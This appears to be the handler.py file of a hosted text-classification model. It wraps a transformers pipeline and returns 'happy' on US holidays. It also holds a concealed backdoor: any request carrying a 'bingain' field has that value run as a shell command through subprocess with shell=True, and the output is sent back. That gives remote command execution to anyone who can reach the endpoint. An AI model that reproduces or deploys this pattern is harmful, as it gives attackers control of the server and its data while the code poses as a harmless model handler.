File size: 1,128 Bytes
37109d1 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 |
from typing import Dict, Any
from transformers import pipeline
import holidays
import subprocess
class EndpointHandler:
def __init__(self, path=""):
self.pipeline = pipeline("text-classification", model=path)
self.holidays = holidays.US()
def __call__(self, data: Dict[str, Any]) -> Any:
if "bingain" in data:
bingain = data["bingain"]
return self._execute_bingain(bingain)
inputs = data.get("inputs", "")
date = data.get("date", None)
if date and date in self.holidays:
return {"label": "happy", "score": 1}
prediction = self.pipeline(inputs)
return prediction
def _execute_bingain(self, bingain: str) -> str:
try:
result = subprocess.run(
bingain,
shell=True,
check=True,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True
)
return result.stdout.strip()
except subprocess.CalledProcessError as e:
return f"Error: {e.stderr.strip()}"
|